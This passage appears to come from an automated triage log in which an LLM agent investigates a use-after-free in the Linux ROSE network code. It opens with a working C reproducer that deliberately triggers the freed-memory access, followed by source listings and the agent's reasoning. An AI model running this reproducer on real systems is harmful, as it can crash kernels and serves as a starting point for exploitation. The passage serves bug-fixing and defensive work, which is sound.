9. Wait for 3 seconds. The `t3timer` will free the neighbour after 1 second, and the `t0timer` will trigger the UAF after 2 seconds.

### Minimal C Reproducer
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
    }
}

int main() {
    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        perror("open ptmx");
        return 1;
    }
    int ldisc = N_AX25;
    if (ioctl(ptmx, TIOCSETD, &ldisc) < 0) {
        perror("TIOCSETD");
        return 1;
    }

    int sock = socket(AF_ROSE, SOCK_SEQPACKET, 0);
    if (sock < 0) {
        perror("socket AF_ROSE");
        return 1;
    }

    // 2. Bring ax0 up
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "ax0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 3. Set rose0 mac address and bring it up
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    ifr.ifr_hwaddr.sa_family = AF_ROSE;
    ifr.ifr_hwaddr.sa_data[0] = 1;
    ioctl(sock, SIOCSIFHWADDR, &ifr);

    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "rose0");
    if (ioctl(sock, SIOCGIFFLAGS, &ifr) == 0) {
        ifr.ifr_flags |= IFF_UP;
        ioctl(sock, SIOCSIFFLAGS, &ifr);
    }

    // 4. Set sysctls to guarantee t3timer expires before t0timer
    set_sysctl("/proc/sys/net/rose/clear_request_timeout", 1000);
    set_sysctl("/proc/sys/net/rose/restart_request_timeout", 2000);

    // 5. Create ROSE socket
    int rsock = socket(AF_ROSE, SOCK_SEQPACKET, 0);

    // 6. Bind to rose0 address
    struct sockaddr_rose saddr;
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 1;
    saddr.srose_ndigis = 0;
    bind(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 7. Add ROSE route
    struct rose_route_struct route;
    memset(&route, 0, sizeof(route));
    route.address.rose_addr[0] = 2;
    route.mask = 5;
    // AX.25 callsigns must be shifted left by 1 bit
    route.neighbour.ax25_call[0] = 'A' << 1;
    route.neighbour.ax25_call[1] = 'B' << 1;
    route.neighbour.ax25_call[2] = 'C' << 1;
    route.neighbour.ax25_call[3] = 'D' << 1;
    route.neighbour.ax25_call[4] = 'E' << 1;
    route.neighbour.ax25_call[5] = 'F' << 1;
    route.neighbour.ax25_call[6] = 0;
    strcpy(route.device, "ax0");
    ioctl(rsock, SIOCADDRT, &route);

    // 8. Connect to the route (non-blocking)
    fcntl(rsock, F_SETFL, O_NONBLOCK);
    memset(&saddr, 0, sizeof(saddr));
    saddr.srose_family = AF_ROSE;
    saddr.srose_addr.rose_addr[0] = 2;
    saddr.srose_ndigis = 0;
    connect(rsock, (struct sockaddr *)&saddr, sizeof(saddr));

    // 9. Delete the route (stops t0timer, drops routing refcount)
    ioctl(rsock, SIOCDELRT, &route);

    // 10. Close the socket (restarts t0timer, starts t3timer)
    close(rsock);

    // 11. Wait for timers to expire (t3timer frees neigh, t0timer triggers UAF)
    sleep(3);

    return 0;
}
```

5/2 2026/05/26 11:33 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 9885
							output: 219
							thoughts: 187
						

Thoughts:
**Analyzing a KASAN Slab-Use-After-Free in the ROSE Network Code**

Okay, so I've got a KASAN slab-use-after-free bug in `rose_send_frame`. The interesting thing is the write itself; it's a size 8 write occurring at memory address `ffff888056f1ec18`. I see that the vulnerable object is being allocated through `rose_add_node`, which is, in turn, called by `rose_rt_ioctl` when the `SIOCADDRT` (add route) command is used for the AF_ROSE address family. The freeing, however, is being done by `rose_neigh_put` within `rose_timer_expiry`. This is the classic allocation/deallocation mismatch that's at the heart of this kind of problem. The ultimate crash then occurs in `rose_send_frame` which is called from `rose_transmit_restart_request` which is called from `rose_t0timer_expiry`. This is the call chain.

Now, I'm thinking the relevant code is probably located in `net/rose/rose_link.c` and `net/rose/rose_route.c`. Time to get my hands dirty. I'll leverage `codesearch-definition-source` to jump to the relevant function definitions and understand the data structures involved, and then I'll be using `codesearch-find-references` to trace the control flow and understand the interactions of these functions. I need to figure out exactly *how* the object is being freed while still in use by `rose_send_frame`. This will be an interesting investigation. Let's see what we can find.



6/2 2026/05/26 11:33 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_send_frame]

Results:
map[SourceCode:  90:	/*
  91:	 *	Interface to ax25_send_frame. Changes my level 2 callsign depending
  92:	 *	on whether we have a global ROSE callsign or use the default port
  93:	 *	callsign.
  94:	 */
  95:	static int rose_send_frame(struct sk_buff *skb, struct rose_neigh *neigh)
  96:	{
  97:		const ax25_address *rose_call;
  98:		ax25_cb *ax25s;
  99:	
 100:		if (ax25cmp(&rose_callsign, &null_ax25_address) == 0)
 101:			rose_call = (const ax25_address *)neigh->dev->dev_addr;
 102:		else
 103:			rose_call = &rose_callsign;
 104:	
 105:		ax25s = neigh->ax25;
 106:		neigh->ax25 = ax25_send_frame(skb, 260, rose_call, &neigh->callsign, neigh->digipeat, neigh->dev);
 107:		if (ax25s)
 108:			ax25_cb_put(ax25s);
 109:	
 110:		return neigh->ax25 != NULL;
 111:	}
 SourceFile:net/rose/rose_link.c]

7/2 2026/05/26 11:33 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_transmit_restart_request]

Results:
map[SourceCode: 173:	/*
 174:	 *	This routine is called when a Restart Request is needed
 175:	 */
 176:	static void rose_transmit_restart_request(struct rose_neigh *neigh)
 177:	{
 178:		struct sk_buff *skb;
 179:		unsigned char *dptr;
 180:		int len;
 181:	
 182:		len = AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + ROSE_MIN_LEN + 3;
 183:	
 184:		if ((skb = alloc_skb(len, GFP_ATOMIC)) == NULL)
 185:			return;
 186:	
 187:		skb_reserve(skb, AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN);
 188:	
 189:		dptr = skb_put(skb, ROSE_MIN_LEN + 3);
 190:	
 191:		*dptr++ = AX25_P_ROSE;
 192:		*dptr++ = ROSE_GFI;
 193:		*dptr++ = 0x00;
 194:		*dptr++ = ROSE_RESTART_REQUEST;
 195:		*dptr++ = ROSE_DTE_ORIGINATED;
 196:		*dptr++ = 0;
 197:	
 198:		if (!rose_send_frame(skb, neigh))
 199:			kfree_skb(skb);
 200:	}
 SourceFile:net/rose/rose_link.c]

8/2 2026/05/26 11:33 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_t0timer_expiry]

Results:
map[SourceCode:  79:	static void rose_t0timer_expiry(struct timer_list *t)
  80:	{
  81:		struct rose_neigh *neigh = timer_container_of(neigh, t, t0timer);
  82:	
  83:		rose_transmit_restart_request(neigh);
  84:	
  85:		neigh->dce_mode = 0;
  86:	
  87:		rose_start_t0timer(neigh);
  88:	}
 SourceFile:net/rose/rose_link.c]

9/2 2026/05/26 11:33 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_add_node]

Results:
map[SourceCode:  47:	/*
  48:	 *	Add a new route to a node, and in the process add the node and the
  49:	 *	neighbour if it is new.
  50:	 */
  51:	static int __must_check rose_add_node(struct rose_route_struct *rose_route,
  52:		struct net_device *dev)
  53:	{
  54:		struct rose_node  *rose_node, *rose_tmpn, *rose_tmpp;
  55:		struct rose_neigh *rose_neigh;
  56:		int i, res = 0;
  57:	
  58:		spin_lock_bh(&rose_node_list_lock);
  59:		spin_lock_bh(&rose_neigh_list_lock);
  60:	
  61:		rose_node = rose_node_list;
  62:		while (rose_node != NULL) {
  63:			if ((rose_node->mask == rose_route->mask) &&
  64:			    (rosecmpm(&rose_route->address, &rose_node->address,
  65:				      rose_route->mask) == 0))
  66:				break;
  67:			rose_node = rose_node->next;
  68:		}
  69:	
  70:		if (rose_node != NULL && rose_node->loopback) {
  71:			res = -EINVAL;
  72:			goto out;
  73:		}
  74:	
  75:		rose_neigh = rose_neigh_list;
  76:		while (rose_neigh != NULL) {
  77:			if (ax25cmp(&rose_route->neighbour,
  78:				    &rose_neigh->callsign) == 0 &&
  79:			    rose_neigh->dev == dev)
  80:				break;
  81:			rose_neigh = rose_neigh->next;
  82:		}
  83:	
  84:		if (rose_neigh == NULL) {
  85:			rose_neigh = kmalloc_obj(*rose_neigh, GFP_ATOMIC);
  86:			if (rose_neigh == NULL) {
  87:				res = -ENOMEM;
  88:				goto out;
  89:			}
  90:	
  91:			rose_neigh->callsign  = rose_route->neighbour;
  92:			rose_neigh->digipeat  = NULL;
  93:			rose_neigh->ax25      = NULL;
  94:			rose_neigh->dev       = dev;
  95:			rose_neigh->count     = 0;
  96:			rose_neigh->dce_mode  = 0;
  97:			rose_neigh->loopback  = 0;
  98:			rose_neigh->number    = rose_neigh_no++;
  99:			rose_neigh->restarted = 0;
 100:			refcount_set(&rose_neigh->use, 1);
 101:	
 102:			skb_queue_head_init(&rose_neigh->queue);
 103:	
 104:			timer_setup(&rose_neigh->ftimer, NULL, 0);
 105:			timer_setup(&rose_neigh->t0timer, NULL, 0);
 106:	
 107:			if (rose_route->ndigis != 0) {
 108:				rose_neigh->digipeat =
 109:					kmalloc_obj(ax25_digi, GFP_ATOMIC);
 110:				if (rose_neigh->digipeat == NULL) {
 111:					kfree(rose_neigh);
 112:					res = -ENOMEM;
 113:					goto out;
 114:				}
 115:	
 116:				rose_neigh->digipeat->ndigi      = rose_route->ndigis;
 117:				rose_neigh->digipeat->lastrepeat = -1;
 118:	
 119:				for (i = 0; i < rose_route->ndigis; i++) {
 120:					rose_neigh->digipeat->calls[i]    =
 121:						rose_route->digipeaters[i];
 122:					rose_neigh->digipeat->repeated[i] = 0;
 123:				}
 124:			}
 125:	
 126:			rose_neigh->next = rose_neigh_list;
 127:			rose_neigh_list  = rose_neigh;
 128:		}
 129:	
 130:		/*
 131:		 * This is a new node to be inserted into the list. Find where it needs
 132:		 * to be inserted into the list, and insert it. We want to be sure
 133:		 * to order the list in descending order of mask size to ensure that
 134:		 * later when we are searching this list the first match will be the
 135:		 * best match.
 136:		 */
 137:		if (rose_node == NULL) {
 138:			rose_tmpn = rose_node_list;
 139:			rose_tmpp = NULL;
 140:	
 141:			while (rose_tmpn != NULL) {
 142:				if (rose_tmpn->mask > rose_route->mask) {
 143:					rose_tmpp = rose_tmpn;
 144:					rose_tmpn = rose_tmpn->next;
 145:				} else {
 146:					break;
 147:				}
 148:			}
 149:	
 150:			/* create new node */
 151:			rose_node = kmalloc_obj(*rose_node, GFP_ATOMIC);
 152:			if (rose_node == NULL) {
 153:				res = -ENOMEM;
 154:				goto out;
 155:			}
 156:	
 157:			rose_node->address      = rose_route->address;
 158:			rose_node->mask         = rose_route->mask;
 159:			rose_node->count        = 1;
 160:			rose_node->loopback     = 0;
 161:			rose_node->neighbour[0] = rose_neigh;
 162:	
 163:			if (rose_tmpn == NULL) {
 164:				if (rose_tmpp == NULL) {	/* Empty list */
 165:					rose_node_list  = rose_node;
 166:					rose_node->next = NULL;
 167:				} else {
 168:					rose_tmpp->next = rose_node;
 169:					rose_node->next = NULL;
 170:				}
 171:			} else {
 172:				if (rose_tmpp == NULL) {	/* 1st node */
 173:					rose_node->next = rose_node_list;
 174:					rose_node_list  = rose_node;
 175:				} else {
 176:					rose_tmpp->next = rose_node;
 177:					rose_node->next = rose_tmpn;
 178:				}
 179:			}
 180:			rose_neigh->count++;
 181:			rose_neigh_hold(rose_neigh);
 182:	
 183:			goto out;
 184:		}
 185:	
 186:		/* We have space, slot it in */
 187:		if (rose_node->count < 3) {
 188:			rose_node->neighbour[rose_node->count] = rose_neigh;
 189:			rose_node->count++;
 190:			rose_neigh->count++;
 191:			rose_neigh_hold(rose_neigh);
 192:		}
 193:	
 194:	out:
 195:		spin_unlock_bh(&rose_neigh_list_lock);
 196:		spin_unlock_bh(&rose_node_list_lock);
 197:	
 198:		return res;
 199:	}
 SourceFile:net/rose/rose_route.c]

10/2 2026/05/26 11:33 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_timer.c IncludeLines:true Name:rose_timer_expiry]

Results:
map[SourceCode: 164:	static void rose_timer_expiry(struct timer_list *t)
 165:	{
 166:		struct rose_sock *rose = timer_container_of(rose, t, timer);
 167:		struct sock *sk = &rose->sock;
 168:	
 169:		bh_lock_sock(sk);
 170:		if (sock_owned_by_user(sk)) {
 171:			sk_reset_timer(sk, &rose->timer, jiffies + HZ/20);
 172:			goto out;
 173:		}
 174:		switch (rose->state) {
 175:		case ROSE_STATE_1:	/* T1 */
 176:		case ROSE_STATE_4:	/* T2 */
 177:			rose_write_internal(sk, ROSE_CLEAR_REQUEST);
 178:			rose->state = ROSE_STATE_2;
 179:			rose_start_t3timer(sk);
 180:			break;
 181:	
 182:		case ROSE_STATE_2:	/* T3 */
 183:			rose_neigh_put(rose->neighbour);
 184:			rose_disconnect(sk, ETIMEDOUT, -1, -1);
 185:			break;
 186:	
 187:		case ROSE_STATE_3:	/* HB */
 188:			if (rose->condition & ROSE_COND_ACK_PENDING) {
 189:				rose->condition &= ~ROSE_COND_ACK_PENDING;
 190:				rose_enquiry_response(sk);
 191:			}
 192:			break;
 193:		}
 194:	out:
 195:		bh_unlock_sock(sk);
 196:		sock_put(sk);
 197:	}
 SourceFile:net/rose/rose_timer.c]

11/2 2026/05/26 11:33 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 14483
							output: 133
							thoughts: 201
						

Thoughts:
**Debugging a Kernel Panic in ROSE Protocol**

Okay, so I'm staring at this kernel panic, and it looks like the crash is happening in `rose_send_frame`, specifically when it's trying to get to `neigh->ax25` or something similar. Right, `rose_send_frame` takes `neigh` as an argument. That `neigh` is a `struct rose_neigh`.  Hang on, the timer in that `struct rose_neigh` is `t0timer`.  Aha, it looks like `rose_t0timer_expiry` is getting called for that `t0timer`, which accesses the `neigh` structure. The problem is that the `neigh` struct is free!

But how did it get freed?  Tracing back, I see that `neigh` is freed by `rose_neigh_put(rose->neighbour)` inside `rose_timer_expiry` in relation to a `struct rose_sock`. Okay, `rose_neigh_put` decrements the refcount, and if it hits zero, it frees the `neigh` structure. It looks like `rose_t0timer_expiry` is still trying to access the now-freed `neigh`. I better take a closer look at both `rose_neigh_put` and `rose_t0timer_expiry` now to understand the exact sequence of events and how that memory is getting corrupted.



12/2 2026/05/26 11:33 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_neigh_put]

Results:
map[SourceCode: 160:	static inline void rose_neigh_put(struct rose_neigh *rose_neigh)
 161:	{
 162:		if (refcount_dec_and_test(&rose_neigh->use)) {
 163:			if (rose_neigh->ax25)
 164:				ax25_cb_put(rose_neigh->ax25);
 165:			kfree(rose_neigh->digipeat);
 166:			kfree(rose_neigh);
 167:		}
 168:	}
 SourceFile:include/net/rose.h]

13/2 2026/05/26 11:34 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_start_t0timer]

Results:
map[SourceCode:  44:	static void rose_start_t0timer(struct rose_neigh *neigh)
  45:	{
  46:		timer_delete(&neigh->t0timer);
  47:	
  48:		neigh->t0timer.function = rose_t0timer_expiry;
  49:		neigh->t0timer.expires  =
  50:			jiffies + msecs_to_jiffies(sysctl_rose_restart_request_timeout);
  51:	
  52:		add_timer(&neigh->t0timer);
  53:	}
 SourceFile:net/rose/rose_link.c]

14/2 2026/05/26 11:34 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_stop_t0timer]

Results:
map[SourceCode:  60:	void rose_stop_t0timer(struct rose_neigh *neigh)
  61:	{
  62:		timer_delete(&neigh->t0timer);
  63:	}
 SourceFile:net/rose/rose_link.c]

15/2 2026/05/26 11:34 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 15552
							output: 105
							thoughts: 88
						

Thoughts:
Okay, here's my breakdown of this memory management issue, as if these were my internal thought processes:

**Memory Leak Alert: Deep Dive into Rose Neigh**

Alright, so `rose_neigh_put` is supposed to clean up after `rose_neigh`. It looks like it *should* free `rose_neigh`'s memory when the `use` count hits zero, which is the expected behavior. However, something isn't quite right. My gut is telling me there's a race condition.

The problem, as I see it, is that `rose_neigh_put` *only* frees the allocated memory. It doesn't seem to be touching the timers, namely `t0timer` or `ftimer`. This is a huge red flag! If those timers are still running, they'll inevitably try to access the now-freed memory associated with `rose_neigh`. That spells disaster: a classic use-after-free vulnerability! Segmentation fault, data corruption, the whole shebang.

My immediate next step is to trace the lifecycle of `rose_neigh` and these timers. I need to pinpoint exactly where `rose_neigh` is instantiated, and where those timers, `t0timer` and `ftimer`, are kicked off. That information is crucial. I need to understand the control flow, what events trigger the creation of `rose_neigh` and, importantly, the activation of the timers, and how it relates to the decreasing `use` count. Only then can I determine how to properly synchronize the memory deallocation with the timer activity. This requires a much closer look at the source code to understand what is happening.



16/2 2026/05/26 11:34 tool codesearch-find-references
0m Args:
map[ContextFile:net/rose/rose_link.c IncludeSnippetLines:0 Name:rose_start_t0timer SourceTreePrefix:]

Results:
map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_t0timer_expiry SourceFile:net/rose/rose_link.c SourceLine:87] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_transmit_link SourceFile:net/rose/rose_link.c SourceLine:286]] TruncatedOutput:false]

17/2 2026/05/26 11:34 tool codesearch-find-references
0m Args:
map[ContextFile:net/rose/rose_link.c IncludeSnippetLines:0 Name:rose_start_ftimer SourceTreePrefix:]

Results:
map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_del_route_by_neigh SourceFile:net/rose/rose_route.c SourceLine:776]] TruncatedOutput:false]

18/2 2026/05/26 11:34 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 16289
							output: 43
							thoughts: 44
						

Thoughts:
Here's my summary, as the thought process unfolds:

**Digging into the Timing of ROSE Transmissions**

Okay, so I see that `rose_start_t0timer` is triggered from two places: `rose_transmit_link` and `rose_t0timer_expiry`. That's interesting, and points towards a crucial timing relationship in the ROSE network stack. To really understand what's going on with the T0 timer, I need to trace this back. The call from `rose_t0timer_expiry` is somewhat self explanatory, but I should look at `rose_transmit_link` first. It's the initiating function, so knowing what calls *it* to start the process will tell me more. Let's see what's going on there.



19/2 2026/05/26 11:34 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_link.c IncludeLines:true Name:rose_transmit_link]

Results:
map[SourceCode: 262:	void rose_transmit_link(struct sk_buff *skb, struct rose_neigh *neigh)
 263:	{
 264:		unsigned char *dptr;
 265:	
 266:		if (neigh->loopback) {
 267:			rose_loopback_queue(skb, neigh);
 268:			return;
 269:		}
 270:	
 271:		if (!rose_link_up(neigh))
 272:			neigh->restarted = 0;
 273:	
 274:		dptr = skb_push(skb, 1);
 275:		*dptr++ = AX25_P_ROSE;
 276:	
 277:		if (neigh->restarted) {
 278:			if (!rose_send_frame(skb, neigh))
 279:				kfree_skb(skb);
 280:		} else {
 281:			skb_queue_tail(&neigh->queue, skb);
 282:	
 283:			if (!rose_t0timer_running(neigh)) {
 284:				rose_transmit_restart_request(neigh);
 285:				neigh->dce_mode = 0;
 286:				rose_start_t0timer(neigh);
 287:			}
 288:		}
 289:	}
 SourceFile:net/rose/rose_link.c]

20/2 2026/05/26 11:34 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 16963
							output: 102
							thoughts: 373
						

Thoughts:
**My Analysis of a Potential Use-After-Free Vulnerability**

Okay, so I'm looking at this `rose_transmit_link` function, and it seems like it's responsible for starting a timer, specifically `t0timer`, if the timer isn't already running. My immediate concern is the lifecycle of this timer in relation to the `rose_neigh` structure. I need to be careful with how memory is managed here.

My first thought is, when `rose_neigh_put` releases the `neigh` structure, it should likely stop the timers associated with it. Alternatively, maybe the timers need to maintain a reference to the `neigh` structure. It looks like `rose_neigh` has both `t0timer` and `ftimer`, so the code should consider both.

Let me examine `rose_neigh_put` to confirm. Hmm, it doesn't appear to explicitly stop the timers.

```c
static inline void rose_neigh_put(struct rose_neigh *rose_neigh)
{
	if (refcount_dec_and_test(&rose_neigh->use)) {
		if (rose_neigh->ax25)
			ax25_cb_put(rose_neigh->ax25);
		kfree(rose_neigh->digipeat);
		kfree(rose_neigh);
	}
}
```

So, if `t0timer` is active, and the reference count (`use`) on `rose_neigh` drops to zero, `rose_neigh` gets freed. But, the `t0timer` is still happily running. When it expires, it will try to access the now-freed `neigh` structure, resulting in a classic Use-After-Free (UAF) situation.

Let's see if I can figure out how to trigger this. My current thinking is:

1.  A `rose_neigh` is created, probably by `rose_add_node` when a route is added.
2.  Send a packet to this route, which triggers `rose_transmit_link`, starting `t0timer`.
3.  Then, the route is deleted, which *should* decrement the refcount of `rose_neigh`... but wait, when is that refcount actually *incremented*? Let me find where the refcount of the `rose_neigh` struct is manipulated, so I can confirm the sequence.



21/2 2026/05/26 11:34 tool codesearch-find-references
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeSnippetLines:0 Name:rose_neigh_put SourceTreePrefix:]

Results:
map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_clear_routes SourceFile:net/rose/rose_route.c SourceLine:566] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_clear_routes SourceFile:net/rose/rose_route.c SourceLine:577] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_connect SourceFile:net/rose/af_rose.c SourceLine:832] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_connect SourceFile:net/rose/af_rose.c SourceLine:844] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_connect SourceFile:net/rose/af_rose.c SourceLine:851] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_del_loopback_node SourceFile:net/rose/rose_route.c SourceLine:468] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_del_node SourceFile:net/rose/rose_route.c SourceLine:327] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_del_node SourceFile:net/rose/rose_route.c SourceLine:331] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_del_route_by_neigh SourceFile:net/rose/rose_route.c SourceLine:795] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_del_route_by_neigh SourceFile:net/rose/rose_route.c SourceLine:801] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_kill_by_device SourceFile:net/rose/af_rose.c SourceLine:215] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_kill_by_neigh SourceFile:net/rose/af_rose.c SourceLine:173] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_release SourceFile:net/rose/af_rose.c SourceLine:658] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_remove_route SourceFile:net/rose/rose_route.c SourceLine:260] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_remove_route SourceFile:net/rose/rose_route.c SourceLine:263] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_route_frame SourceFile:net/rose/rose_route.c SourceLine:930] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_route_frame SourceFile:net/rose/rose_route.c SourceLine:1087] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_rt_device_down SourceFile:net/rose/rose_route.c SourceLine:508] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_rt_device_down SourceFile:net/rose/rose_route.c SourceLine:516] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_rt_free SourceFile:net/rose/rose_route.c SourceLine:1315] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_rt_free SourceFile:net/rose/rose_route.c SourceLine:1323] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_state1_machine SourceFile:net/rose/rose_in.c SourceLine:59] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_state2_machine SourceFile:net/rose/rose_in.c SourceLine:82] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_state2_machine SourceFile:net/rose/rose_in.c SourceLine:87] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_state3_machine SourceFile:net/rose/rose_in.c SourceLine:124] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_state4_machine SourceFile:net/rose/rose_in.c SourceLine:237] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_state5_machine SourceFile:net/rose/rose_in.c SourceLine:257] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_timer_expiry SourceFile:net/rose/rose_timer.c SourceLine:183]] TruncatedOutput:false]

22/2 2026/05/26 11:34 tool codesearch-find-references
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeSnippetLines:0 Name:rose_neigh_hold SourceTreePrefix:]

Results:
map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_add_loopback_node SourceFile:net/rose/rose_route.c SourceLine:436] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_add_node SourceFile:net/rose/rose_route.c SourceLine:181] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_add_node SourceFile:net/rose/rose_route.c SourceLine:191] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_get_neigh SourceFile:net/rose/rose_route.c SourceLine:693] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_get_neigh SourceFile:net/rose/rose_route.c SourceLine:705] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_route_frame SourceFile:net/rose/rose_route.c SourceLine:1073] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_route_frame SourceFile:net/rose/rose_route.c SourceLine:1074] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:rose_rx_call_request SourceFile:net/rose/af_rose.c SourceLine:1087]] TruncatedOutput:false]

23/2 2026/05/26 11:34 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 19859
							output: 135
							thoughts: 418
						

Thoughts:
**Analyzing a Potential Race Condition in the ROSE Network Code**

Okay, so I'm looking at this bug report and it's pointing me to a potential issue related to the `rose_neigh_put` function being called within the `rose_timer_expiry` context. Specifically, this is the T3 timer expiry for a `struct rose_sock`. I see that the code is decrementing the reference count of `rose->neighbour`, which makes sense. If this drops to zero, the neighbour object gets freed.

My immediate concern is: does this object, even though it's been "put," still have active timers, specifically the `t0timer` or the `ftimer`? Let's trace it through. A `rose_neigh` object starts with a refcount of 1. It increases when added to a node, which is done through `rose_neigh_hold`, and decreases when removed. A socket connection also holds a reference through `rose_connect`, using `rose_get_neigh`, which calls `rose_neigh_hold`. When that T3 timer fires, it calls `rose_neigh_put`.

If the refcount hits zero here, it means the neighbour is no longer in the routing table and no longer actively used by any sockets. But... the neighbour might still have a `t0timer` running, right? That timer gets started by `rose_transmit_link`, which gets called when we are sending frames. Critically, and this is where I'm leaning towards the problem, `rose_neigh_put` *doesn't* appear to stop that `t0timer`.

This strongly suggests a potential race condition. If the neighbour is removed from the routing table and freed, but the `t0timer` is still pending, the kernel might be trying to access freed memory when that timer eventually expires. This is a classic concurrency problem, and is likely manifesting as the reported bug.

Now, I need to investigate where this neighbour gets deleted, to understand if there is a proper cleanup. I need to look at `rose_del_route_by_neigh`, `rose_remove_route`, or `rose_rt_device_down` to see if they specifically stop those timers before freeing the `rose_neigh` object. This looks like the next step.



24/2 2026/05/26 11:34 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_del_route_by_neigh]

Results:
map[SourceCode: 769:	static void rose_del_route_by_neigh(struct rose_neigh *rose_neigh)
 770:	{
 771:		struct rose_route *rose_route, *s;
 772:	
 773:		rose_neigh->restarted = 0;
 774:	
 775:		rose_stop_t0timer(rose_neigh);
 776:		rose_start_ftimer(rose_neigh);
 777:	
 778:		skb_queue_purge(&rose_neigh->queue);
 779:	
 780:		spin_lock_bh(&rose_route_list_lock);
 781:	
 782:		rose_route = rose_route_list;
 783:	
 784:		while (rose_route != NULL) {
 785:			if ((rose_route->neigh1 == rose_neigh && rose_route->neigh2 == rose_neigh) ||
 786:			    (rose_route->neigh1 == rose_neigh && rose_route->neigh2 == NULL)       ||
 787:			    (rose_route->neigh2 == rose_neigh && rose_route->neigh1 == NULL)) {
 788:				s = rose_route->next;
 789:				rose_remove_route(rose_route);
 790:				rose_route = s;
 791:				continue;
 792:			}
 793:	
 794:			if (rose_route->neigh1 == rose_neigh) {
 795:				rose_neigh_put(rose_route->neigh1);
 796:				rose_route->neigh1 = NULL;
 797:				rose_transmit_clear_request(rose_route->neigh2, rose_route->lci2, ROSE_OUT_OF_ORDER, 0);
 798:			}
 799:	
 800:			if (rose_route->neigh2 == rose_neigh) {
